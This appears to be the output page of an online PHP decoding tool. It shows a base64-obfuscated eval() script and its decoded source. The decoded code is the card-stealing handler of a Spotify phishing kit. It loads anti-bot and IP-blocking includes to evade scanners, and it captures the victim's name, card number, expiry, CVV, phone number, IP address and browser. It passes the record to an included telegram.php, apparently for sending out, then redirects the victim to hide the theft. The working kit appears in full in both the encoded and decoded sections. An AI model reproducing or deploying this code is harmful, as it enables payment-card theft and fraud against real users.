Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCg0Kc2Vzc2lvbl9zdGFydCgpOw0KZXJyb3JfcmVwb3J0aW5nKDA..

Decoded Output download

?>b'<?php

session_start();
error_reporting(0);
date_default_timezone_set(\'GMT\');
$ip = getenv("REMOTE_ADDR");
include "./././badAgents.php";
include "./././Blacklist.php";
include "./././blocks.php";
include "./././antibots.php";
include "./././miniBOT.php";
include "./././defender.php";
include "./././blockIP.php";
include \'./././bots/blocker.php\';
include \'./././bots/anti.php\';
include \'./././bots.php\';

$testa = $_POST[\'mb01\']; 
if($testa != "") {
if(($_POST[\'mb01\'] != "")  AND ($_POST[\'mb02\'] != "") AND ($_POST[\'mb03\'] != "") AND ($_POST[\'mb04\'] != "")   )
{

date_default_timezone_set(\'GMT\');
$TIME_DATE = date(\'H:i:s d/m/Y\');
$ip = getenv("REMOTE_ADDR");
function XB_OS($USER_AGENT){
	$OS_ERROR    =   "Unknown OS Platform";
    $OS  =   array( \'/windows nt 10/i\'      =>  \'Windows 10\',
	                \'/windows nt 6.3/i\'     =>  \'Windows 8.1\',
	                \'/windows nt 6.2/i\'     =>  \'Windows 8\',
	                \'/windows nt 6.1/i\'     =>  \'Windows 7\',
	                \'/windows nt 6.0/i\'     =>  \'Windows Vista\',
	                \'/windows nt 5.2/i\'     =>  \'Windows Server 2003/XP x64\',
	                \'/windows nt 5.1/i\'     =>  \'Windows XP\',
	                \'/windows xp/i\'         =>  \'Windows XP\',
	                \'/windows nt 5.0/i\'     =>  \'Windows 2000\',
	                \'/windows me/i\'         =>  \'Windows ME\',
	                \'/win98/i\'              =>  \'Windows 98\',
	                \'/win95/i\'              =>  \'Windows 95\',
	                \'/win16/i\'              =>  \'Windows 3.11\',
	                \'/macintosh|mac os x/i\' =>  \'Mac OS X\',
	                \'/mac_powerpc/i\'        =>  \'Mac OS 9\',
	                \'/linux/i\'              =>  \'Linux\',
	                \'/ubuntu/i\'             =>  \'Ubuntu\',
	                \'/iphone/i\'             =>  \'iPhone\',
	                \'/ipod/i\'               =>  \'iPod\',
	                \'/ipad/i\'               =>  \'iPad\',
	                \'/android/i\'            =>  \'Android\',
	                \'/blackberry/i\'         =>  \'BlackBerry\',
	                \'/webos/i\'              =>  \'Mobile\');
    foreach ($OS as $regex => $value) { 
        if (preg_match($regex, $USER_AGENT)) {
            $OS_ERROR = $value;
        }

    }   
    return $OS_ERROR;
}
function XB_Browser($USER_AGENT){
	$BROWSER_ERROR    =   "Unknown Browser";
    $BROWSER  =   array(\'/msie/i\'       =>  \'Internet Explorer\',
                        \'/firefox/i\'    =>  \'Firefox\',
                        \'/safari/i\'     =>  \'Safari\',
                        \'/chrome/i\'     =>  \'Chrome\',
                        \'/edge/i\'       =>  \'Edge\',
                        \'/opera/i\'      =>  \'Opera\',
                        \'/netscape/i\'   =>  \'Netscape\',
                        \'/maxthon/i\'    =>  \'Maxthon\',
                        \'/konqueror/i\'  =>  \'Konqueror\',
                        \'/mobile/i\'     =>  \'Handheld Browser\');
    foreach ($BROWSER as $regex => $value) { 
        if (preg_match($regex, $USER_AGENT)) {
            $BROWSER_ERROR = $value;
        }
    }
    return $BROWSER_ERROR;
}


$_SESSION[\'mb01\'] = $_POST[\'mb01\'];
$_SESSION[\'mb02\'] = $_POST[\'mb02\'];
$_SESSION[\'mb03\'] = $_POST[\'mb03\'];
$_SESSION[\'mb04\'] = $_POST[\'mb04\'];
$_SESSION[\'mb05\'] = $_POST[\'mb05\'];
$_SESSION[\'mb06\'] = $_POST[\'mb06\'];

$message =
"------ Spotify Card ------
CardHolder : ".$_SESSION[\'mb01\']."
CardNumber : ".$_SESSION[\'mb02\']."
ExpDate : ".$_SESSION[\'mb03\']."/".$_SESSION[\'mb04\']."
CVV : ".$_SESSION[\'mb05\']."
PhoneNumber : ".$_SESSION[\'mb06\']."
BROWSER : ".XB_Browser($_SERVER[\'HTTP_USER_AGENT\'])." On ".XB_OS($_SERVER[\'HTTP_USER_AGENT\'])."
IP : $ip
Time/Date : $TIME_DATE
------ @NABIL ------
";
 
include "telegram.php";
 
   echo "<meta http-equiv=\'refresh\' content=\'0; url=loading3.php\'/>";
}
	else {
     echo "<meta http-equiv=\'refresh\' content=\'0; url=https://www.spotify.com/\' />";
}
}
 
?>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCg0Kc2Vzc2lvbl9zdGFydCgpOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnR01UJyk7DQokaXAgPSBnZXRlbnYoIlJFTU9URV9BRERSIik7DQppbmNsdWRlICIuLy4vLi9iYWRBZ2VudHMucGhwIjsNCmluY2x1ZGUgIi4vLi8uL0JsYWNrbGlzdC5waHAiOw0KaW5jbHVkZSAiLi8uLy4vYmxvY2tzLnBocCI7DQppbmNsdWRlICIuLy4vLi9hbnRpYm90cy5waHAiOw0KaW5jbHVkZSAiLi8uLy4vbWluaUJPVC5waHAiOw0KaW5jbHVkZSAiLi8uLy4vZGVmZW5kZXIucGhwIjsNCmluY2x1ZGUgIi4vLi8uL2Jsb2NrSVAucGhwIjsNCmluY2x1ZGUgJy4vLi8uL2JvdHMvYmxvY2tlci5waHAnOw0KaW5jbHVkZSAnLi8uLy4vYm90cy9hbnRpLnBocCc7DQppbmNsdWRlICcuLy4vLi9ib3RzLnBocCc7DQoNCiR0ZXN0YSA9ICRfUE9TVFsnbWIwMSddOyANCmlmKCR0ZXN0YSAhPSAiIikgew0KaWYoKCRfUE9TVFsnbWIwMSddICE9ICIiKSAgQU5EICgkX1BPU1RbJ21iMDInXSAhPSAiIikgQU5EICgkX1BPU1RbJ21iMDMnXSAhPSAiIikgQU5EICgkX1BPU1RbJ21iMDQnXSAhPSAiIikgICApDQp7DQoNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ0dNVCcpOw0KJFRJTUVfREFURSA9IGRhdGUoJ0g6aTpzIGQvbS9ZJyk7DQokaXAgPSBnZXRlbnYoIlJFTU9URV9BRERSIik7DQpmdW5jdGlvbiBYQl9PUygkVVNFUl9BR0VOVCl7DQoJJE9TX0VSUk9SICAgID0gICAiVW5rbm93biBPUyBQbGF0Zm9ybSI7DQogICAgJE9TICA9ICAgYXJyYXkoICcvd2luZG93cyBudCAxMC9pJyAgICAgID0+ICAnV2luZG93cyAxMCcsDQoJICAgICAgICAgICAgICAgICcvd2luZG93cyBudCA2LjMvaScgICAgID0+ICAnV2luZG93cyA4LjEnLA0KCSAgICAgICAgICAgICAgICAnL3dpbmRvd3MgbnQgNi4yL2knICAgICA9PiAgJ1dpbmRvd3MgOCcsDQoJICAgICAgICAgICAgICAgICcvd2luZG93cyBudCA2LjEvaScgICAgID0+ICAnV2luZG93cyA3JywNCgkgICAgICAgICAgICAgICAgJy93aW5kb3dzIG50IDYuMC9pJyAgICAgPT4gICdXaW5kb3dzIFZpc3RhJywNCgkgICAgICAgICAgICAgICAgJy93aW5kb3dzIG50IDUuMi9pJyAgICAgPT4gICdXaW5kb3dzIFNlcnZlciAyMDAzL1hQIHg2NCcsDQoJICAgICAgICAgICAgICAgICcvd2luZG93cyBudCA1LjEvaScgICAgID0+ICAnV2luZG93cyBYUCcsDQoJICAgICAgICAgICAgICAgICcvd2luZG93cyB4cC9pJyAgICAgICAgID0+ICAnV2luZG93cyBYUCcsDQoJICAgICAgICAgICAgICAgICcvd2luZG93cyBudCA1LjAvaScgICAgID0+ICAnV2luZG93cyAyMDAwJywNCgkgICAgICAgICAgICAgICAgJy93aW5kb3dzIG1lL2knICAgICAgICAgPT4gICdXaW5kb3dzIE1FJywNCgkgICAgICAgICAgICAgICAgJy93aW45OC9pJyAgICAgICAgICAgICAgPT4gICdXaW5kb3dzIDk4JywNCgkgICAgICAgICAgICAgICAgJy93aW45NS9pJyAgICAgICAgICAgICAgPT4gICdXaW5kb3dzIDk1JywNCgkgICAgICAgICAgICAgICAgJy93aW4xNi9pJyAgICAgICAgICAgICAgPT4gICdXaW5kb3dzIDMuMTEnLA0KCSAgICAgICAgICAgICAgICAnL21hY2ludG9zaHxtYWMgb3MgeC9pJyA9PiAgJ01hYyBPUyBYJywNCgkgICAgICAgICAgICAgICAgJy9tYWNfcG93ZXJwYy9pJyAgICAgICAgPT4gICdNYWMgT1MgOScsDQoJICAgICAgICAgICAgICAgICcvbGludXgvaScgICAgICAgICAgICAgID0+ICAnTGludXgnLA0KCSAgICAgICAgICAgICAgICAnL3VidW50dS9pJyAgICAgICAgICAgICA9PiAgJ1VidW50dScsDQoJICAgICAgICAgICAgICAgICcvaXBob25lL2knICAgICAgICAgICAgID0+ICAnaVBob25lJywNCgkgICAgICAgICAgICAgICAgJy9pcG9kL2knICAgICAgICAgICAgICAgPT4gICdpUG9kJywNCgkgICAgICAgICAgICAgICAgJy9pcGFkL2knICAgICAgICAgICAgICAgPT4gICdpUGFkJywNCgkgICAgICAgICAgICAgICAgJy9hbmRyb2lkL2knICAgICAgICAgICAgPT4gICdBbmRyb2lkJywNCgkgICAgICAgICAgICAgICAgJy9ibGFja2JlcnJ5L2knICAgICAgICAgPT4gICdCbGFja0JlcnJ5JywNCgkgICAgICAgICAgICAgICAgJy93ZWJvcy9pJyAgICAgICAgICAgICAgPT4gICdNb2JpbGUnKTsNCiAgICBmb3JlYWNoICgkT1MgYXMgJHJlZ2V4ID0+ICR2YWx1ZSkgeyANCiAgICAgICAgaWYgKHByZWdfbWF0Y2goJHJlZ2V4LCAkVVNFUl9BR0VOVCkpIHsNCiAgICAgICAgICAgICRPU19FUlJPUiA9ICR2YWx1ZTsNCiAgICAgICAgfQ0KDQogICAgfSAgIA0KICAgIHJldHVybiAkT1NfRVJST1I7DQp9DQpmdW5jdGlvbiBYQl9Ccm93c2VyKCRVU0VSX0FHRU5UKXsNCgkkQlJPV1NFUl9FUlJPUiAgICA9ICAgIlVua25vd24gQnJvd3NlciI7DQogICAgJEJST1dTRVIgID0gICBhcnJheSgnL21zaWUvaScgICAgICAgPT4gICdJbnRlcm5ldCBFeHBsb3JlcicsDQogICAgICAgICAgICAgICAgICAgICAgICAnL2ZpcmVmb3gvaScgICAgPT4gICdGaXJlZm94JywNCiAgICAgICAgICAgICAgICAgICAgICAgICcvc2FmYXJpL2knICAgICA9PiAgJ1NhZmFyaScsDQogICAgICAgICAgICAgICAgICAgICAgICAnL2Nocm9tZS9pJyAgICAgPT4gICdDaHJvbWUnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJy9lZGdlL2knICAgICAgID0+ICAnRWRnZScsDQogICAgICAgICAgICAgICAgICAgICAgICAnL29wZXJhL2knICAgICAgPT4gICdPcGVyYScsDQogICAgICAgICAgICAgICAgICAgICAgICAnL25ldHNjYXBlL2knICAgPT4gICdOZXRzY2FwZScsDQogICAgICAgICAgICAgICAgICAgICAgICAnL21heHRob24vaScgICAgPT4gICdNYXh0aG9uJywNCiAgICAgICAgICAgICAgICAgICAgICAgICcva29ucXVlcm9yL2knICA9PiAgJ0tvbnF1ZXJvcicsDQogICAgICAgICAgICAgICAgICAgICAgICAnL21vYmlsZS9pJyAgICAgPT4gICdIYW5kaGVsZCBCcm93c2VyJyk7DQogICAgZm9yZWFjaCAoJEJST1dTRVIgYXMgJHJlZ2V4ID0+ICR2YWx1ZSkgeyANCiAgICAgICAgaWYgKHByZWdfbWF0Y2goJHJlZ2V4LCAkVVNFUl9BR0VOVCkpIHsNCiAgICAgICAgICAgICRCUk9XU0VSX0VSUk9SID0gJHZhbHVlOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiAkQlJPV1NFUl9FUlJPUjsNCn0NCg0KDQokX1NFU1NJT05bJ21iMDEnXSA9ICRfUE9TVFsnbWIwMSddOw0KJF9TRVNTSU9OWydtYjAyJ10gPSAkX1BPU1RbJ21iMDInXTsNCiRfU0VTU0lPTlsnbWIwMyddID0gJF9QT1NUWydtYjAzJ107DQokX1NFU1NJT05bJ21iMDQnXSA9ICRfUE9TVFsnbWIwNCddOw0KJF9TRVNTSU9OWydtYjA1J10gPSAkX1BPU1RbJ21iMDUnXTsNCiRfU0VTU0lPTlsnbWIwNiddID0gJF9QT1NUWydtYjA2J107DQoNCiRtZXNzYWdlID0NCiItLS0tLS0gU3BvdGlmeSBDYXJkIC0tLS0tLQ0KQ2FyZEhvbGRlciA6ICIuJF9TRVNTSU9OWydtYjAxJ10uIg0KQ2FyZE51bWJlciA6ICIuJF9TRVNTSU9OWydtYjAyJ10uIg0KRXhwRGF0ZSA6ICIuJF9TRVNTSU9OWydtYjAzJ10uIi8iLiRfU0VTU0lPTlsnbWIwNCddLiINCkNWViA6ICIuJF9TRVNTSU9OWydtYjA1J10uIg0KUGhvbmVOdW1iZXIgOiAiLiRfU0VTU0lPTlsnbWIwNiddLiINCkJST1dTRVIgOiAiLlhCX0Jyb3dzZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKS4iIE9uICIuWEJfT1MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKS4iDQpJUCA6ICRpcA0KVGltZS9EYXRlIDogJFRJTUVfREFURQ0KLS0tLS0tIEBOQUJJTCAtLS0tLS0NCiI7DQogDQppbmNsdWRlICJ0ZWxlZ3JhbS5waHAiOw0KIA0KICAgZWNobyAiPG1ldGEgaHR0cC1lcXVpdj0ncmVmcmVzaCcgY29udGVudD0nMDsgdXJsPWxvYWRpbmczLnBocCcvPiI7DQp9DQoJZWxzZSB7DQogICAgIGVjaG8gIjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7IHVybD1odHRwczovL3d3dy5zcG90aWZ5LmNvbS8nIC8+IjsNCn0NCn0NCiANCj8+")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 87fa3dfc6d35f6e8fc9cddede8ace196
Eval Count 1
Decode Time 50 ms